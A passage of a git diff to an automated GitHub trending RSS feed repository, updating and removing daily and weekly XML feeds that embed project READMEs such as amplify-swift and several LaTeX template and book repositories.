<li>Restart Xcode.</li> <li>Clean and rebuild.</li> </ul> <p>You can read more about this Xcode error on the <a href="https://forums.swift.org/t/internal-inconsistency-error-didstarttask/61194">Swift.org forums</a>.</p> </li> <li> <p>Skip may highlight the wrong line in build errors. When Skip surfaces the wrong line number, it is typically only one line off.</p> </li> <li> <p>When working with multiple modules, we have occasionally seen situations in which changed files do not re-transpile. This issue is discussed in the local library development <a href="https://skip.tools/docs/contributing/">documentation</a>, because those are the conditions under which we've run across the error.</p> </li> </ul> + + + codepath/ios101-project6-tumblr-starter + 2023-10-30T01:36:49Z + tag:github.com,2023-10-30:/codepath/ios101-project6-tumblr-starter + + <p></p><hr><h2>Project 6: Tumblr Detail Starter</h2> + \ No newline at end of file diff --git a/swift/weekly/index.xml b/swift/weekly/index.xml deleted file mode 100644 index 99cf0ddb468..00000000000 --- a/swift/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Swift Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:13Z - Weekly Trending of Swift in GitHub - - - aws-amplify/amplify-swift - 2023-10-29T02:03:13Z - tag:github.com,2023-10-29:/aws-amplify/amplify-swift - - <p>A declarative library for application development using cloud services.</p><hr><h2>Amplify Library for Swift</h2> <img src="https://s3.amazonaws.com/aws-mobile-hub-images/aws-amplify-logo.png" alt="AWS Amplify" width="550"> <p>AWS Amplify provides a declarative and easy-to-use interface across different categories of cloud operations. Our default implementation works with Amazon Web Services (AWS), but AWS Amplify is designed to be open and pluggable for any custom backend or service.</p> <p>The Amplify Library for Swift is layered on the <a href="https://aws.amazon.com/sdk-for-swift/">AWS SDK for Swift</a>, which was released as Developer Preview last year. This allows for access to the AWS SDK for Swift for a breadth of service-centric APIs.</p> <p><a href="https://aws-amplify.github.io/amplify-swift/docs/"><strong>API Documentation</strong></a></p> <p><a href="https://docs.amplify.aws/start/q/integration/ios"><strong>Getting Started Guide</strong></a></p> <p><a href="https://github.com/aws-amplify/amplify-swift/actions/workflows/deploy_unstable.yml"><img src="https://img.shields.io/github/actions/workflow/status/aws-amplify/amplify-swift/deploy_unstable.yml?logo=github&amp;label=CI%2FCD" alt="CI/CD"></a> <a href="https://app.codecov.io/gh/aws-amplify/amplify-swift"><img src="https://img.shields.io/codecov/c/github/aws-amplify/amplify-swift?logo=codecov&amp;label=codecov" alt="Codecov"></a> <a href="https://discord.gg/jWVbPfC"><img src="https://img.shields.io/discord/308323056592486420?logo=discord" alt="Discord"></a></p> <h2>Features/APIs</h2> <ul> <li><a href="https://docs.amplify.aws/lib/analytics/getting-started/q/platform/ios">Analytics</a> - for logging metrics and understanding your users.</li> <li><a href="https://docs.amplify.aws/lib/graphqlapi/getting-started/q/platform/ios">API (GraphQL)</a> - for adding a GraphQL endpoint to your app.</li> <li><a href="https://docs.amplify.aws/lib/restapi/getting-started/q/platform/ios">API (REST)</a> - for adding a REST endpoint to your app.</li> <li><a href="https://docs.amplify.aws/lib/auth/getting-started/q/platform/ios">Authentication</a> - for managing your users.</li> <li><a href="https://docs.amplify.aws/lib/datastore/getting-started/q/platform/ios">DataStore</a> - for making it easier to program for a distributed data store for offline and online scenarios.</li> <li><a href="https://docs.amplify.aws/lib/geo/getting-started/q/platform/ios">Geo</a> - for adding location-based capabilities to your app.</li> <li><a href="https://docs.amplify.aws/lib/predictions/getting-started/q/platform/ios/">Predictions</a> - for connecting your app with machine learning services.</li> <li><a href="https://docs.amplify.aws/lib/push-notifications/getting-started/q/platform/ios/">Push Notifications</a> - for integrating push notifications in your app.</li> <li><a href="https://docs.amplify.aws/lib/storage/getting-started/q/platform/ios">Storage</a> - store complex objects like pictures and videos to the cloud.</li> </ul> <h2>Platform Support</h2> <table> <thead> <tr> <th align="right">Platform</th> <th align="right">Versions</th> <th align="center">Support Level</th> </tr> </thead> <tbody> <tr> <td align="right">iOS</td> <td align="right">13+</td> <td align="center">GA</td> </tr> <tr> <td align="right">macOS</td> <td align="right">10.15+</td> <td align="center">GA</td> </tr> <tr> <td align="right">tvOS</td> <td align="right">13+</td> <td align="center">GA</td> </tr> <tr> <td align="right">watchOS</td> <td align="right">9+</td> <td align="center">GA</td> </tr> <tr> <td align="right">visionOS</td> <td align="right">1+</td> <td align="center">Preview*</td> </tr> </tbody> </table> <blockquote> <p>To use Amplify Swift with visionOS, you'll need to target the <code>visionos-preview</code> branch. For more information, see <a href="https://github.com/aws-amplify/amplify-swift/tree/visionos-preview#platform-support">Platform Support</a> on the <code>visionos-preview</code> branch.</p> </blockquote> <h2>Semantic versioning</h2> <p>We follow <a href="https://semver.org/">semantic versioning</a> for our releases.</p> <h3>Semantic versioning and enumeration cases</h3> <p>When Amplify adds a new enumeration value, we will publish a new <strong>minor</strong> version of the library.</p> <p>Applications that evaluate all members of an enumeration using a <code>switch</code> statement can add a <code>default</code> case to prevent new cases from causing compile warnings or errors.</p> <h2>License</h2> <p>This library is licensed under the Apache 2.0 License.</p> <h2>Installation</h2> <p>Amplify requires Xcode 14.1 or higher to build for iOS and macOS. Building for watchOS and tvOS requires Xcode 14.3 or higher.</p> <table> <thead> <tr> <th>For more detailed instructions, follow the getting started guides in our <a href="https://docs.amplify.aws/lib/q/platform/ios">documentation site</a></th> </tr> </thead> </table> <h3>Swift Package Manager</h3> <ol> <li> <p>Swift Package Manager is distributed with Xcode. To start adding the Amplify Libraries to your iOS project, open your project in Xcode and select <strong>File &gt; Add Packages</strong>.</p> <p><img src="https://raw.githubusercontent.com/aws-amplify/amplify-swift/main/readme-images/spm-setup-01-add-package.png" alt="Add package dependency"></p> </li> <li> <p>Enter the Amplify Library for Swift GitHub repo URL (<code>https://github.com/aws-amplify/amplify-swift</code>) into the search bar.</p> </li> <li> <p>You'll see the Amplify Library for Swift repository rules for which version of Amplify you want Swift Package Manager to install. Choose <strong>Up to Next Major Version</strong> and enter <strong>2.0.0</strong> as the minimum version for the Dependency Rule, then click <strong>Add Package</strong>.</p> <p><img src="https://raw.githubusercontent.com/aws-amplify/amplify-swift/main/readme-images/spm-setup-02-amplify-repo-options.png" alt="Dependency version options"></p> </li> <li> <p>Choose which of the libraries you want added to your project. Always select the <strong>Amplify</strong> library. The "Plugin" to install depends on which categories you are using:</p> <ul> <li>API: <strong>AWSAPIPlugin</strong></li> <li>Analytics: <strong>AWSPinpointAnalyticsPlugin</strong></li> <li>Auth: <strong>AWSCognitoAuthPlugin</strong></li> <li>DataStore: <strong>AWSDataStorePlugin</strong></li> <li>Geo: <strong>AWSLocationGeoPlugin</strong></li> <li>Storage: <strong>AWSS3StoragePlugin</strong></li> </ul> <p><img src="https://raw.githubusercontent.com/aws-amplify/amplify-swift/main/readme-images/spm-setup-03-select-dependencies.png" alt="Select dependencies"></p> <p>Select all that are appropriate, then click <strong>Add Package</strong>.</p> <p>You can always go back and modify which SPM packages are included in your project by opening the <code>Package Dependencies</code> tab for your project: Click on the Project file in the Xcode navigator, then click on your project under the Project section, then select the <strong>Package Dependencies</strong> tab.</p> </li> <li> <p>In your app code, explicitly import a plugin when you need to add a plugin to Amplify, access plugin options, or access a category escape hatch.</p> <pre><code class="language-swift">import Amplify import AWSCongitoAuthPlugin import AWSAPIPlugin import AWSDataStorePlugin // ... func initializeAmplify() { do { try Amplify.add(AWSCognitoAuthPlugin()) try Amplify.add(AWSAPIPlugin()) try Amplify.add(AWSDataStorePlugin()) // and so on ... try Amplify.configure() } catch { assertionFailure("Error initializing Amplify: \(error)") } } </code></pre> <p>If you're just accessing Amplify category APIs (e.g., <code>Auth.signIn()</code> or <code>Storage.uploadFile()</code>), you only need to import Amplify:</p> <pre><code class="language-swift">import Amplify // ... func signIn() async throws { let signInResult = try await Amplify.Auth.signIn(...) // ... } </code></pre> </li> </ol> <h2>Escape Hatch</h2> <p>All services and features not listed in the <a href="https://raw.githubusercontent.com/aws-amplify/amplify-swift/main/#featuresapis"><strong>Features/API sectios</strong></a> are supported via the <a href="https://github.com/awslabs/aws-sdk-swift">Swift SDK</a> or if supported by a category can be accessed via the Escape Hatch like below:</p> <pre><code class="language-swift">import Amplify import AWSS3StoragePlugin import AWSS3 // ... guard let plugin = try Amplify.Storage.getPlugin(for: "awsS3StoragePlugin") as? AWSS3StoragePlugin else { print("Unable to to cast to AWSS3StoragePlugin") return } let awsS3 = plugin.getEscapeHatch() let accelerateConfigInput = PutBucketAccelerateConfigurationInput() do { let accelerateConfigOutput = try await awsS3.putBucketAccelerateConfiguration( input: accelerateConfigInput ) print("putBucketAccelerateConfiguration output: \(accelerateConfigOutput)") } catch { print("putBucketAccelerateConfiguration error: \(error)") } </code></pre> <h2>Reporting Bugs/Feature Requests</h2> <p><a href="https://github.com/aws-amplify/amplify-swift/issues?q=is%3Aissue+is%3Aopen+label%3Abug"><img src="https://img.shields.io/github/issues/aws-amplify/amplify-swift/bug?color=d73a4a&amp;label=bugs" alt="Open Bugs"></a> <a href="https://github.com/aws-amplify/amplify-swift/issues?q=is%3Aissue+label%3A%22question%22+is%3Aopen+"><img src="https://img.shields.io/github/issues/aws-amplify/amplify-swift/question?color=558dfd&amp;label=questions" alt="Open Questions"></a> <a href="https://github.com/aws-amplify/amplify-swift/issues?q=is%3Aissue+label%3A%22feature-request%22+is%3Aopen+"><img src="https://img.shields.io/github/issues/aws-amplify/amplify-swift/feature-request?color=ff9001&amp;label=feature%20requests" alt="Feature Requests"></a> <a href="https://github.com/aws-amplify/amplify-swift/issues?q=is%3Aissue+is%3Aclosed+"><img src="https://img.shields.io/github/issues-closed/aws-amplify/amplify-swift?color=%2325CC00" alt="Closed Issues"></a></p> <p>We welcome you to use the GitHub issue tracker to report bugs or suggest features.</p> <p>When filing an issue, please check <a href="https://github.com/aws-amplify/amplify-swift/issues">existing open</a>, or <a href="https://github.com/aws-amplify/amplify-swift/issues?utf8=%E2%9C%93&amp;q=is%3Aissue%20is%3Aclosed%20">recently closed</a>, issues to make sure somebody else hasn't already reported the issue. Please try to include as much information as you can. Details like these are incredibly useful:</p> <ul> <li>Expected behavior and observed behavior</li> <li>A reproducible test case or series of steps</li> <li>The version of our code being used</li> <li>Any modifications you've made relevant to the bug</li> <li>Anything custom about your environment or deployment</li> </ul> <h2>Open Source Contributions</h2> <p>We welcome any and all contributions from the community! Make sure you read through our contribution guide <a href="https://raw.githubusercontent.com/aws-amplify/amplify-swift/main/CONTRIBUTING.md">here</a> before submitting any PR's. Thanks! ♥️</p> - - \ No newline at end of file diff --git a/swig/daily/index.xml b/swig/daily/index.xml index 9967dfc9e55..f520c6c342f 100644 --- a/swig/daily/index.xml +++ b/swig/daily/index.xml @@ -1,14 +1,7 @@ GitHub SWIG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:38Z + 2023-10-30T01:36:46Z Daily Trending of SWIG in GitHub - - PDFTron/PDFNetWrappers - 2023-10-29T01:43:38Z - tag:github.com,2023-10-29:/PDFTron/PDFNetWrappers - - <p>Code repository for building different language bindings for PDFNetC.</p><hr> - \ No newline at end of file diff --git a/swig/weekly/index.xml b/swig/weekly/index.xml deleted file mode 100644 index 2c1a8ea1c49..00000000000 --- a/swig/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SWIG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:09Z - Weekly Trending of SWIG in GitHub - - \ No newline at end of file diff --git a/systemverilog/daily/index.xml b/systemverilog/daily/index.xml index e36fea936ba..4148efb8ef5 100644 --- a/systemverilog/daily/index.xml +++ b/systemverilog/daily/index.xml @@ -1,7 +1,7 @@ GitHub SystemVerilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:01Z + 2023-10-30T01:36:59Z Daily Trending of SystemVerilog in GitHub \ No newline at end of file diff --git a/systemverilog/weekly/index.xml b/systemverilog/weekly/index.xml deleted file mode 100644 index c2a20ce69e1..00000000000 --- a/systemverilog/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub SystemVerilog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:29Z - Weekly Trending of SystemVerilog in GitHub - - - Purdue-SoCET/vito-uart - 2023-10-29T02:03:29Z - tag:github.com,2023-10-29:/Purdue-SoCET/vito-uart - - <p></p><hr> - - \ No newline at end of file diff --git a/talon/daily/index.xml b/talon/daily/index.xml index 7f378689e75..288a70de341 100644 --- a/talon/daily/index.xml +++ b/talon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Talon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:57Z + 2023-10-30T01:36:57Z Daily Trending of Talon in GitHub \ No newline at end of file diff --git a/talon/weekly/index.xml b/talon/weekly/index.xml deleted file mode 100644 index 42ecc56551c..00000000000 --- a/talon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Talon Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:24Z - Weekly Trending of Talon in GitHub - - \ No newline at end of file diff --git a/tcl/daily/index.xml b/tcl/daily/index.xml index 4304a1128bb..b842f90d2b2 100644 --- a/tcl/daily/index.xml +++ b/tcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:58Z + 2023-10-30T01:37:00Z Daily Trending of Tcl in GitHub \ No newline at end of file diff --git a/tcl/weekly/index.xml b/tcl/weekly/index.xml deleted file mode 100644 index ac3f925f2ee..00000000000 --- a/tcl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Tcl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:27Z - Weekly Trending of Tcl in GitHub - - \ No newline at end of file diff --git a/tcsh/daily/index.xml b/tcsh/daily/index.xml index c10ba582bed..8a9bc72efdb 100644 --- a/tcsh/daily/index.xml +++ b/tcsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:59Z + 2023-10-30T01:37:00Z Daily Trending of Tcsh in GitHub \ No newline at end of file diff --git a/tcsh/weekly/index.xml b/tcsh/weekly/index.xml deleted file mode 100644 index 816f1338c42..00000000000 --- a/tcsh/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Tcsh Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:25Z - Weekly Trending of Tcsh in GitHub - - \ No newline at end of file diff --git a/tea/daily/index.xml b/tea/daily/index.xml index b4280c2b10d..f4fea3eec3d 100644 --- a/tea/daily/index.xml +++ b/tea/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tea Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:04Z + 2023-10-30T01:37:01Z Daily Trending of Tea in GitHub \ No newline at end of file diff --git a/tea/weekly/index.xml b/tea/weekly/index.xml deleted file mode 100644 index 0b63ed724ab..00000000000 --- a/tea/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Tea Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:31Z - Weekly Trending of Tea in GitHub - - \ No newline at end of file diff --git a/terra/daily/index.xml b/terra/daily/index.xml index 5c0d97a9fac..abe8de82230 100644 --- a/terra/daily/index.xml +++ b/terra/daily/index.xml @@ -1,7 +1,7 @@ GitHub Terra Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:03Z + 2023-10-30T01:37:02Z Daily Trending of Terra in GitHub \ No newline at end of file diff --git a/terra/weekly/index.xml b/terra/weekly/index.xml deleted file mode 100644 index 9430d47d27a..00000000000 --- a/terra/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Terra Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:30Z - Weekly Trending of Terra in GitHub - - \ No newline at end of file diff --git a/tex/daily/index.xml b/tex/daily/index.xml index d7875136c4d..8dd68f65ba4 100644 --- a/tex/daily/index.xml +++ b/tex/daily/index.xml @@ -1,14 +1,7 @@ GitHub TeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:08Z + 2023-10-30T01:37:05Z Daily Trending of TeX in GitHub - - kylebutts/latex-templates - 2023-10-29T01:44:08Z - tag:github.com,2023-10-29:/kylebutts/latex-templates - - <p>Templates of all kind</p><hr><h1>Latex templates</h1> <p>This is a repository of all my latex templates. I've done my best to document every line of code for these themes so that you can understand what it does and delete/modify things as you see fit. You can see a live preview of each one here:</p> <p><a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf">Slides</a> | <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-article/article.pdf">Article</a> | <a href="https://raw.githack.com/kylebutts/latex-templates/main/referee-response/responses.pdf">Referee Report</a></p> <h2>Latex Slides</h2> <p>This latex slide aims for nice typography, minimal aesthetics so the focus is on the content, and a set of helpful commands including easily colored words, full-size image frames, table highlighting, multi-column layouts, and more. The theme is highly customizable with (1) a well commented <code>slides.sty</code> file so you can tweak it and make it your own and (2) by defining the colors in the top of your document:</p> <pre><code class="language-latex">% Define `accent`/`accent2` colors for theme customization \definecolor{accent}{HTML}{006896} \definecolor{accent2}{HTML}{E64173} \usepackage{slides} </code></pre> <p>Here are some highlights</p> <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf"> <img style="width: 48%;" src="https://raw.githubusercontent.com/kylebutts/latex-templates/main/img/latex-slides/title.png" alt="Title slides"> </a> <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf"> <img style="width: 48%;" src="https://raw.githubusercontent.com/kylebutts/latex-templates/main/img/latex-slides/text.png" alt="Example slide of text with button"> </a> <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf"> <img style="width: 48%;" src="https://raw.githubusercontent.com/kylebutts/latex-templates/main/img/latex-slides/figure-1.png" alt="Example of including full size figure"> </a> <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf"> <img style="width: 48%;" src="https://raw.githubusercontent.com/kylebutts/latex-templates/main/img/latex-slides/figure-2.png" alt="Full size image example"> </a> <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf"> <img style="width: 48%;" src="https://raw.githubusercontent.com/kylebutts/latex-templates/main/img/latex-slides/table.png" alt="Table with colored rows"> </a> <a href="https://raw.githack.com/kylebutts/latex-templates/main/latex-slides/slides.pdf"> <img style="width: 48%;" src="https://raw.githubusercontent.com/kylebutts/latex-templates/main/img/latex-slides/references.png" alt="Bibliography slides"> </a> <h2>Latex Article</h2> <p>This is how I write my papers. There's not many special bells and whistles, but I think it looks nice and clean.</p> <h3>Math commands</h3> <p>I have a set of math commands in <code>math.sty</code> that borrow heavily from <a href="https://github.com/pmichaillat/latex-math">Pascal Michaillat</a>. See the document for examples of what I've included.</p> <h3>Easily-hideable comments in paper</h3> <p>This also includes a very useful way to leave notes in a document. Then, you can comment <code>\kyle{Thoughts here}</code> to leave a comment. Toggling <code>\booltrue</code> to <code>\boolfalse</code> will hide the comments from the document.</p> <pre><code class="language-tex">% Conditionally display thoughts (hide by switching to `\boolfalse`) \booltrue{INCLUDECOMMENTS} \newcommand{\kyle}[1]{\coauthorComment[Kyle]{#1}} </code></pre> <h2>Response to Referees</h2> <p>The goal of this is to make referee reports look nice and make it easy to structure the document. For each referee, use this to create a section with the referee:</p> <pre><code class="language-tex">\NewRef{Referee 1}{R1} </code></pre> <p>Then for each comment, wrap the referee's comment with a <code>refcomment</code> environment and it will create a subsection and automatically number the comments</p> <pre><code class="language-tex">\begin{refcomment} \end{refcomment} </code></pre> <h2>.gitignore</h2> <p>This is a recommended set of files to include in <code>.gitignore</code> to not commit ugly latex auxiliary files:</p> <pre><code class="language-text">*.aux *.lof *.log *.lot *.fls *.out *.toc *.fmt *.fot *.cb *.cb2 .*.lb *.bbl *.bcf *.blg *.fdb_latexmk *.run.xml *.synctex.gz *.nav *.snm </code></pre> - \ No newline at end of file diff --git a/tex/weekly/index.xml b/tex/weekly/index.xml deleted file mode 100644 index b86a9724c73..00000000000 --- a/tex/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub TeX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:35Z - Weekly Trending of TeX in GitHub - - - wklchris/Note-by-LaTeX - 2023-10-29T02:03:35Z - tag:github.com,2023-10-29:/wklchris/Note-by-LaTeX - - <p>《简单粗暴 LaTeX》出版图书开源仓库 | The opensource repo for my published LaTeX book.</p><hr><h1>《简单粗暴LaTeX》开源仓库</h1> <p>本仓库是手册《简单粗暴LaTeX》的开源仓库。本书涵盖了LaTeX的基本使用场景,以简明的例子来展现各命令的用法。书风如其名。</p> <p><strong>所有PDF内容的下载会发布在本仓库的<a href="https://github.com/wklchris/Note-by-LaTeX/releases">release页面</a>中。</strong> 当然,读者也可以自行下载本仓库的tex文件,并进行pdf编译。</p> <h2>公告</h2> <p><em>本公告于2020年9月15日发送;当前版本 v1.6.4-pre,稳定版本为 v1.6.3.</em></p> <ul> <li> <p>本手册正在更新到 v2.0.0,预计主要是勘误。手册暂时没有太多新内容需要添加;本人今年也较为忙碌,该更新可能会比较缓慢。</p> </li> <li> <p>本手册的稿件已经交由中国工信出版集团、人民邮电出版社完成出版,出版后的书名在本仓库的书名基础上有改动。纸质出版手册的链接:</p> <ul> <li><a href="https://item.jd.com/12925624.html">京东 - 人民邮电出版社</a></li> <li><a href="http://product.dangdang.com/28989929.html">当当 - 人民邮电出版社</a></li> <li><a href="https://www.ituring.com.cn/book/2685">图灵社区</a></li> </ul> <img src="https://file.ituring.com.cn/ScreenShow/2006139134ef5f9f98a3" width="40%" alt="出版书封面" style="display: block; margin: 30px auto;"> <p>ISBN: 978-7-115-53440-8</p> <p><em>出版书相比本仓库的版本主要有以下不同:内容上,添加了一章“LATEX 环境配置”;叙述上,本人与编辑讨论进行了校对与改动;样式上,全书由出版社进行了重新排版。</em></p> </li> </ul> <h2>关于</h2> <p>以下是几点关于本仓库的说明:</p> <ul> <li>手册出版后,本仓库继续维护与开源。</li> <li>自从手册基本定稿后,本仓库的维护周期就大约是每年一次,主要是内容订正的汇总。在另行通知前,我预计将继续保持这个维护频率。</li> </ul> - - - scastiel/book-pr - 2023-10-29T02:03:35Z - tag:github.com,2023-10-29:/scastiel/book-pr - - <p>Pull Requests and Code Review: Best Practices for Developers, from Junior to Team Lead.</p><hr><p><a href="https://scastiel.dev/pull-requests-code-review"><img src="https://raw.githubusercontent.com/scastiel/book-pr/main/banner.png" width="400px"></a></p> <h1>Pull Requests and Code Review</h1> <p><em>Best Practices for Developers, from <strong>Junior</strong> to <strong>Team Lead</strong></em></p> <p>This is a book where I listed all the advice I gave to and received from developers over the past few years about pull requests and code review. You’ll find real-life examples and actionable insights to get better at the exercise, a must for everyday developer collaboration.</p> <p>Here are the available options to read the book:</p> <ul> <li> <p>In the file <a href="https://raw.githubusercontent.com/scastiel/book-pr/main/manuscript.md">manuscript.md</a>, you’ll find the book’s full content as Markdown.</p> </li> <li> <p>You can find the PDF and ePub versions on <a href="https://scastiel.gumroad.com/l/pull-requests-code-review">Gumroad</a> (pay what you want, starting from $0) or <a href="https://kdp.amazon.com/amazon-dp-action/us/dualbookshelf.marketplacelink/B0CKWSJ4NL">Amazon</a> ($2.99).</p> </li> </ul> <p>As a bonus, you’ll find on the repository all that is necessary to build the PDF and ePub versions book using <a href="https://pandoc.org">Pandoc</a>. Feel free to reuse it or use it for inspiration to distribute your own book!</p> <h2>License</h2> <p><a href="https://scastiel.dev/pull-requests-code-review">Pull Requests and Code Review</a> © 2023 by Sebastien Castiel is licensed under <a href="http://creativecommons.org/licenses/by-nc-nd/4.0/?ref=chooser-v1">Attribution-NonCommercial-NoDerivatives 4.0 International</a></p> - - - premAI-io/state-of-open-source-ai - 2023-10-29T02:03:35Z - tag:github.com,2023-10-29:/premAI-io/state-of-open-source-ai - - <p>Clarity in the current fast-paced mess of Open Source innovation</p><hr><h1>📘 The State of Open Source AI (2023 Edition)</h1> <p><a href="https://book.premai.io/state-of-open-source-ai"><img src="https://static.premai.io/book/marketing/github--book.jpg" alt="banner"></a></p> <p><em>Clarity in the current fast-paced mess of Open Source innovation.</em></p> <p>This is the source repository for <a href="https://book.premai.io/state-of-open-source-ai">The State of Open Source AI</a> ebook, a comprehensive guide exploring everything from model evaluations to deployment, and a great FOMO cure.</p> <p>Want to discuss any topics covered in the book? We have a <a href="https://discord.gg/kpKk6vYVAn">dedicated channel (<code>#book</code>) on our Discord server</a>.</p> <h2>Contributing</h2> <p>You can help keep the book up-to-date! Contributions, issues, and comments are welcome! See the <a href="https://book.premai.io/state-of-open-source-ai/#contributing">Contributing Guide</a> for more information on how.</p> <h2>Licence</h2> <p>This book is released under <a href="https://raw.githubusercontent.com/premAI-io/state-of-open-source-ai/main/LICENCE">CC-BY-4.0 (text) and Apache-2.0 (code)</a>.</p> <p>Citation: <a href="https://raw.githubusercontent.com/premAI-io/state-of-open-source-ai/main/references.bib#L1">BibTeX</a></p> <h2>Community</h2> <ul> <li><a href="https://discord.gg/kpKk6vYVAn">Join the Open Source AI Discord</a></li> <li><a href="https://twitter.com/premai_io">Follow us on Twitter</a></li> </ul> - - \ No newline at end of file diff --git a/texinfo/daily/index.xml b/texinfo/daily/index.xml index 2195837997e..1dca635bb4e 100644 --- a/texinfo/daily/index.xml +++ b/texinfo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Texinfo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:03Z + 2023-10-30T01:37:05Z Daily Trending of Texinfo in GitHub \ No newline at end of file diff --git a/texinfo/weekly/index.xml b/texinfo/weekly/index.xml deleted file mode 100644 index 21bdddc39e8..00000000000 --- a/texinfo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Texinfo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:32Z - Weekly Trending of Texinfo in GitHub - - \ No newline at end of file diff --git a/text/daily/index.xml b/text/daily/index.xml index cd7e2cf76c8..e08e27978ae 100644 --- a/text/daily/index.xml +++ b/text/daily/index.xml @@ -1,7 +1,7 @@ GitHub Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:15Z + 2023-10-30T01:37:13Z Daily Trending of Text in GitHub \ No newline at end of file diff --git a/text/weekly/index.xml b/text/weekly/index.xml deleted file mode 100644 index 05c802f5faf..00000000000 --- a/text/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Text Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:45Z - Weekly Trending of Text in GitHub - - \ No newline at end of file diff --git a/textile/daily/index.xml b/textile/daily/index.xml index d2f1cbe18d2..f47fec3558c 100644 --- a/textile/daily/index.xml +++ b/textile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Textile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:16Z + 2023-10-30T01:37:13Z Daily Trending of Textile in GitHub \ No newline at end of file diff --git a/textile/weekly/index.xml b/textile/weekly/index.xml deleted file mode 100644 index dde05815106..00000000000 --- a/textile/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Textile Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:42Z - Weekly Trending of Textile in GitHub - - \ No newline at end of file diff --git a/textmate-properties/daily/index.xml b/textmate-properties/daily/index.xml index 1c6414acea5..6a7cbe269e6 100644 --- a/textmate-properties/daily/index.xml +++ b/textmate-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub TextMate Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:17Z + 2023-10-30T01:37:12Z Daily Trending of TextMate Properties in GitHub \ No newline at end of file diff --git a/textmate-properties/weekly/index.xml b/textmate-properties/weekly/index.xml deleted file mode 100644 index dc8f90989aa..00000000000 --- a/textmate-properties/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TextMate Properties Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:43Z - Weekly Trending of TextMate Properties in GitHub - - \ No newline at end of file diff --git a/thrift/daily/index.xml b/thrift/daily/index.xml index c2d31774270..72f1fa75dbd 100644 --- a/thrift/daily/index.xml +++ b/thrift/daily/index.xml @@ -1,7 +1,7 @@ GitHub Thrift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:18Z + 2023-10-30T01:37:14Z Daily Trending of Thrift in GitHub \ No newline at end of file diff --git a/thrift/weekly/index.xml b/thrift/weekly/index.xml deleted file mode 100644 index e8e4b395849..00000000000 --- a/thrift/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Thrift Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:44Z - Weekly Trending of Thrift in GitHub - - \ No newline at end of file diff --git a/ti-program/daily/index.xml b/ti-program/daily/index.xml index 9fa2b53326e..2d0ff2a60bf 100644 --- a/ti-program/daily/index.xml +++ b/ti-program/daily/index.xml @@ -1,7 +1,7 @@ GitHub TI Program Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:21Z + 2023-10-30T01:37:15Z Daily Trending of TI Program in GitHub \ No newline at end of file diff --git a/ti-program/weekly/index.xml b/ti-program/weekly/index.xml deleted file mode 100644 index 7dd10036879..00000000000 --- 